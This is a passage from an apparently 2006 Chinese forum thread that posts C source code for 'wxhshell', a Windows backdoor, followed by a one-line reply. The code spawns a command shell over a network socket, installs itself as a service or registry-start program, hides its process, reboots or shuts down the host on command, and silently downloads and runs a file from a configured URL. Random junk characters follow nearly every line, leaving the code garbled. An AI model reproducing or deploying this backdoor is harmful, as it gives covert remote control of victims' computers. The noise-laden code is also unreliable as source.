  send(wsh,msg_ws_err,strlen(msg_ws_err),0); abtYa  
  else byN4?3 F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nc\jA=  
  } }@<Ru  
  else { 6e4A| <  
A(T=  
    switch(cmd[0]) { !~!\=etm  
  U*cWNn:."  
  // 帮助 kPezR: 31  
  case '?': { J"?jaa2~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7z9[\]tt  
    break; V\P .uOI  
  } 5z@QAQ  
  // 安装 (AswV7aGe  
  case 'i': { ;wF)!d  
    if(Install()) ~=/.ZUQNX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !I+F8p   
    else ]>oI3&6s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v])R6-T-  
    break; JVq`v#8  
    } XEb+Z7L1  
  // 卸载 T&u25"QOf  
  case 'r': { 6r}w  
    if(Uninstall()) ?V$@2vBVX4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H5/w!y@  
    else y;ymyy&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K?gO ]T{6  
    break; #|;;>YnZ   
    } y2:Bv2}  
  // 显示 wxhshell 所在路径 Igb%bO_  
  case 'p': { ^^kL.C Ym  
    char svExeFile[MAX_PATH]; yq,%<%+  
    strcpy(svExeFile,"\n\r"); .v[!_bk8C  
      strcat(svExeFile,ExeFile); (Z#j^}G_l  
        send(wsh,svExeFile,strlen(svExeFile),0); {9|S,<9  
    break; Q'c[yu  
    } 5Tiap8x+<  
  // 重启 0khAi|PY  
  case 'b': { drd5o Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uYMH5Om+i  
    if(Boot(REBOOT)) 8c'5P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )( W%Hmi  
    else { an,JV0  
    closesocket(wsh); +{[E Ow  
    ExitThread(0); ~'t+X  
    } c'uDK>  
    break; 0*50uK=5  
    } #(1R:z\:  
  // 关机 2PQY+[jx  
  case 'd': { '$Fu3%ft  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .y2np  
    if(Boot(SHUTDOWN)) +9]CGYj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A>1TPb09"  
    else { G ;  
    closesocket(wsh); o{xA{ @<  
    ExitThread(0); FcmL 4^s.`  
    } X,ok3c4X  
    break;  "xp>Vj  
    } P;[>TCs ]8  
  // 获取shell AN4(]_ ]  
  case 's': { K?H(jP2mpM  
    CmdShell(wsh); 1SY3  
    closesocket(wsh); 2X|nPhNi  
    ExitThread(0); RxXiSc`^z  
    break; m}GEx)Y D  
  } QR*{}`+l  
  // 退出 ^s6C']q *O  
  case 'x': { % QI6`@Y"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FXo{|z3  
    CloseIt(wsh); *>J45U(6:  
    break; "<1-9CMl  
    } Vo(V<2lw}  
  // 离开 _NB8>v  
  case 'q': { 28=L9q   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $[g8j`or!  
    closesocket(wsh); <:I]0|[  
    WSACleanup(); EV|L~^Q  
    exit(1); kd+tD!:F(  
    break; *}Nh7 >d(  
        } !?J?R-C  
  } :B1a2Y^"  
  } 7oFA5T _  
&~sk7iGi  
  // 提示信息 -r@/8"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;BjJ<?^{  
} [eZ'h8  
  } @W\ H%VR  
&T[BS;  
  return; $Y<(~E$FX  
} T(iL#2^  
iYb{qv_4  
// shell模块句柄 avEsX_.  
int CmdShell(SOCKET sock) !)h?2#V8;  
{ =qFDrDt  
STARTUPINFO si; Wm>AR? b  
ZeroMemory(&si,sizeof(si)); *[0)]|r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VIg=| Oe),  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Af H>)E  
PROCESS_INFORMATION ProcessInfo; #Q$`3rr  
char cmdline[]="cmd"; ,7*-%05[\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )kK" 1\m  
  return 0;  Wkc^?0p  
} 5 @61=Au  
Eumdv#Qg  
// 自身启动模式 5H |<h  
int StartFromService(void)  9Li.B1j  
{ _~_6qTv-d  
typedef struct kJ:zMVN  
{ l$eKV(CZ4  
  DWORD ExitStatus; <]kifiN#  
  DWORD PebBaseAddress; ?8aPd"x  
  DWORD AffinityMask; jG~UyzWH;  
  DWORD BasePriority; V'XvwO@  
  ULONG UniqueProcessId; J&jig?t  
  ULONG InheritedFromUniqueProcessId; z{dn   
}   PROCESS_BASIC_INFORMATION; 9S$?2z".2  
R; Gf3K  
PROCNTQSIP NtQueryInformationProcess; ~[9(}UM  
70{fl 4J5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |,OTGZgc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ehf3L |9   
6v9A7g;4.  
  HANDLE             hProcess; }Q%fY&#(bp  
  PROCESS_BASIC_INFORMATION pbi; 8I|2yvhP  
|q*s)8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )uIH onXU  
  if(NULL == hInst ) return 0; 8et.A  
TLiA>`r=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B#9T6|2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +yYSp8>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }c-tvK1g  
QW1d&Gb.(  
  if (!NtQueryInformationProcess) return 0; HRZ3}8Qj  
O.~@V(7ah  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d*TpHLm  
  if(!hProcess) return 0; SK_i 3?  
+i.b&PF'H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >!|(n @  
Hxzdxwz%$  
  CloseHandle(hProcess); sT"h)I)]*  
{ei,>5K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w=S7zzL)  
if(hProcess==NULL) return 0; /]*#+;;%  
8ncgTCH:  
HMODULE hMod; %l8nTcL_?  
char procName[255]; $>mTPNF  
unsigned long cbNeeded; 7Vxe]s  
{|Pz9a- :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fG\]&LFBU  
hV4\#K[  
  CloseHandle(hProcess); Mb0cdK?hA  
sCF7K=a  
if(strstr(procName,"services")) return 1; // 以服务启动 xr\wOQ*`  
@YfCS8 eH  
  return 0; // 注册表启动 Cq,hzi-  
} >4}2~;  
WxF rqUz  
// 主模块 %aeQL;# V  
int StartWxhshell(LPSTR lpCmdLine) r` T(xJ!)  
{ ET7(n0*P}]  
  SOCKET wsl; 4?a!6  
BOOL val=TRUE; 2 !^[x~t  
  int port=0; `X7ns?  
  struct sockaddr_in door; 'of5v6:8  
v|v^(P,o  
  if(wscfg.ws_autoins) Install(); JV#)?/a$z  
H21\6 GY  
port=atoi(lpCmdLine); [ZP8l'?  
+=bGrn>h  
if(port<=0) port=wscfg.ws_port; fjAJys)Q  
Oy!j`  
  WSADATA data; iEf6oM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Eb<iR)e H=  
= ?hx+-'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]8XY "2b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OgTE^W@  
  door.sin_family = AF_INET; Ur]~>-Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]d@@E_s]  
  door.sin_port = htons(port); >cPB:kD'  
-\`n{$OR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2 S\~  
closesocket(wsl); 3 TN?yP)  
return 1; >Rbgg1^]5  
}  *YFe  
( |1 $zF+  
  if(listen(wsl,2) == INVALID_SOCKET) { 5M{ DJ/q  
closesocket(wsl); fr0iEO_  
return 1; i7[CqObzc  
} M_2[Wypw  
  Wxhshell(wsl); e,}]K'!t  
  WSACleanup(); >_biiW~x:  
qK4E:dD  
return 0; %8T:rS  
{da Nw>TH  
} h !~u9  
6SMGXy*]^  
// 以NT服务方式启动 e_wz8]K)n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }V3p <  
{ Oifu ?f<r  
DWORD   status = 0; X"W%(x`w  
  DWORD   specificError = 0xfffffff; In0kP"  
*a@pZI0'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Jz$)R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "9 -duDg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y'n TyH  
  serviceStatus.dwWin32ExitCode     = 0; HB4Hz0Fa  
  serviceStatus.dwServiceSpecificExitCode = 0; [ed%"f  
  serviceStatus.dwCheckPoint       = 0; HB$*xS1  
  serviceStatus.dwWaitHint       = 0; X?b]5?K;r  
k})Ag7c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -0Q:0wU  
  if (hServiceStatusHandle==0) return; 2k[i7Rl \c  
aho;HM$hjP  
status = GetLastError(); *0y+=,"QU  
  if (status!=NO_ERROR) DsqsMlB{  
{ OxqbHe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,LXuU8sB  
    serviceStatus.dwCheckPoint       = 0; #Xri%&~  
    serviceStatus.dwWaitHint       = 0; MjG=6.J|`  
    serviceStatus.dwWin32ExitCode     = status; 9oP8| <+  
    serviceStatus.dwServiceSpecificExitCode = specificError; O!z H5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vhEPk2wD,  
    return; ;0}$zy1EZ  
  } J W&/l  
UUv&X+ Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o:#MP(h,N  
  serviceStatus.dwCheckPoint       = 0; FpfOxF6A3  
  serviceStatus.dwWaitHint       = 0; 9p(s FQ [  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q+t*3;X.  
} fL"-K  
'R~x.NM  
// 处理NT服务事件,比如:启动、停止 K(Otgp+zb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [Y*p I&f  
{ G3 #c  
switch(fdwControl) IQdiVj  
{ &oYX093di  
case SERVICE_CONTROL_STOP: ;,Sl+)@h  
  serviceStatus.dwWin32ExitCode = 0; ^MUtmzh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hkv&Od,  
  serviceStatus.dwCheckPoint   = 0; F%6al,8P  
  serviceStatus.dwWaitHint     = 0; Yv9(8  
  { -sGfpLy<6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I2%{6g@  
  } >t?;*K\x"  
  return; M'HmVg4'  
case SERVICE_CONTROL_PAUSE: O} QTg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j,Qp*b#Qo  
  break; GKtG#jZ&  
case SERVICE_CONTROL_CONTINUE: 3yDa5q{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +D`IcR-x  
  break; 6\g]Y  
case SERVICE_CONTROL_INTERROGATE: pb}QP  
  break; ~0|Hw.OK  
}; zhKb|SV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UbJ_'>hK6  
} Cz Jze  
me$ 7\B;wy  
// 标准应用程序主函数 :^1 Xfc"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jUZ84Gm{  
{  _*9eAeJ  
XJC|6"n  
// 获取操作系统版本 %IW=[D6Tg  
OsIsNt=GetOsVer(); &voyEvX/S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wvcG <sj  
; @-7'%(C  
  // 从命令行安装 2ME3=C  
  if(strpbrk(lpCmdLine,"iI")) Install(); #)hM]=,e  
|JSj<~1ki  
  // 下载执行文件 L/"XIMI*Xg  
if(wscfg.ws_downexe) { F.?^ko9d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >"{3lDyq-  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qy*`s  
} !CTchk<{(  
X&TTw/J!^  
if(!OsIsNt) { 7<mY{!2iF?  
// 如果时win9x,隐藏进程并且设置为注册表启动 gsqlWfa  
HideProc(); 60*2k  
StartWxhshell(lpCmdLine); D^]7/w:$-  
} x;99[C!$  
else 7pMrYIP  
  if(StartFromService()) V?t^ J7{'  
  // 以服务方式启动 YbND2 i  
  StartServiceCtrlDispatcher(DispatchTable); gb|C592R5C  
else w{UVo1r:  
  // 普通方式启动 C!]hu)E  
  StartWxhshell(lpCmdLine); 35?et-=w  
s|dcO  
return 0; 0[7\p\Q  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五